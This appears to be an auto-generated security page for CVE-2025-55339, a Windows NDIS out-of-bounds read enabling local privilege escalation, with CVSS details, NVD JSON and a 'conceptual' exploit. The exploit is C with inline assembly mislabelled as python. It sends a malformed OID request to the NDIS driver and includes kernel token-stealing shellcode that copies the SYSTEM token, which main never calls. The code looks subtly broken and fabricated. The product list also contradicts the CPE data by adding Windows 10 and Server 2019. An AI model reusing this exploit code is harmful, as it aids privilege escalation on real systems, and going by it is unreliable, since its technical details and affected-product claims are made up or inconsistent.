Security Vulnerability Report
中文
CVE-2025-55339 CVSS 7.8 HIGH

CVE-2025-55339

Published: 2025-10-14 17:15:47
Last Modified: 2025-10-27 16:06:20

Description

Out-of-bounds read in Windows NDIS allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:* - VULNERABLE
Microsoft Windows 10(所有版本)
Microsoft Windows 11(所有版本)
Microsoft Windows Server 2019
Microsoft Windows Server 2022
Microsoft Windows Server 2025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-55339 - Windows NDIS Out-of-Bounds Read PoC (Conceptual) # This is a conceptual PoC demonstrating the exploitation approach. # Actual exploitation requires kernel-mode code execution. #include <windows.h> #include <ntddndis.h> #include <netioapi.h> #include <stdio.h> // Step 1: Prepare a malformed network packet to trigger OOB read in NDIS // The vulnerability exists in NDIS packet processing routines // where buffer length validation is insufficient. BOOL TriggerNDISOOBRead() { HANDLE hDevice; DWORD bytesReturned; BOOL result = FALSE; // Open NDIS device driver hDevice = CreateFileA("\\\\.\\NDIS", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open NDIS device: %d\n", GetLastError()); return FALSE; } printf("[+] NDIS device opened successfully\n"); // Step 2: Craft a malformed OID request to trigger the OOB read // The key is to provide a buffer with insufficient size // causing NDIS to read beyond the allocated memory boundary NDIS_OID_REQUEST oidRequest; ZeroMemory(&oidRequest, sizeof(NDIS_OID_REQUEST)); // Set OID to query - using a specific OID that triggers vulnerable code path oidRequest.Header.Type = NDIS_OBJECT_TYPE_OID_REQUEST; oidRequest.Header.Revision = NDIS_OID_REQUEST_REVISION_1; oidRequest.Header.Size = sizeof(NDIS_OID_REQUEST); oidRequest.RequestType = NdisRequestQueryInformation; oidRequest.PortNumber = 0; // Use an OID known to trigger the vulnerable NDIS code path // The malformed input buffer size causes out-of-bounds read oidRequest.RequestId = 0xDEADBEEF; oidRequest.Oid = OID_802_3_CURRENT_ADDRESS; // Example OID in vulnerable path // Allocate undersized buffer to trigger OOB read UCHAR malformedBuffer[16] = {0}; oidRequest.InformationBuffer = malformedBuffer; oidRequest.InformationBufferLength = sizeof(malformedBuffer); // Step 3: Send the malformed request to NDIS driver // DeviceIoControl will trigger the vulnerable code path result = DeviceIoControl(hDevice, IOCTL_NDIS_QUERY_GLOBAL_STATS, &oidRequest, sizeof(oidRequest), &oidRequest, sizeof(oidRequest), &bytesReturned, NULL); if (!result) { printf("[-] DeviceIoControl failed (expected for PoC): %d\n", GetLastError()); // The OOB read may have already occurred at this point } printf("[+] OOB read triggered - kernel memory may be leaked\n"); printf("[+] Use leaked addresses for further privilege escalation\n"); CloseHandle(hDevice); return TRUE; } // Step 4: Token stealing shellcode for privilege escalation // After leaking kernel addresses, use token stealing to elevate to SYSTEM __declspec(naked) void TokenStealingShellcode() { __asm { ; Save registers push rax push rbx push rcx push rdx ; Get current thread (ETHREAD) mov rax, gs:[0x188] ; KPCR->CurrentThread (Win10/11) ; Get current process (EPROCESS) from thread mov rax, [rax + 0xB8] ; ETHREAD->Tcb.ApcState.Process (Win10/11) ; Walk process list to find System process (PID 4) mov rbx, rax ; Save current process mov rcx, [rax + 0x448] ; EPROCESS->ActiveProcessLinks offset (Win10/11) SearchSystem: mov rcx, [rcx - 0x448] ; ActiveProcessLinks.Flink -> previous EPROCESS mov rdx, [rcx + 0x440] ; EPROCESS->UniqueProcessId offset (Win10/11) cmp rdx, 4 ; System PID = 4 jne SearchSystem ; Copy SYSTEM token to current process mov rax, [rcx + 0x4B8] ; EPROCESS->Token offset (Win10/11) mov [rbx + 0x4B8], rax ; Replace current process token ; Restore registers and return pop rdx pop rcx pop rbx pop rax ret } } int main(int argc, char* argv[]) { printf("[*] CVE-2025-55339 - Windows NDIS OOB Read LPoC\n"); printf("[*] Windows NDIS Out-of-Bounds Read Privilege Escalation\n\n"); if (!IsUserAnAdmin()) { printf("[!] This exploit requires initial code execution context\n"); printf("[!] Run as a low-privilege user to demonstrate LPE\n\n"); } TriggerNDISOOBRead(); printf("\n[*] PoC execution completed\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55339", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:47.450", "lastModified": "2025-10-27T16:06:19.883", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds read in Windows NDIS allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6060", "matchCriteriaId": "A3FEBF91-5010-4C84-B93A-6EFA4838185A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "72C1771B-635B-41E3-84AF-8822467A1869"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55339", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}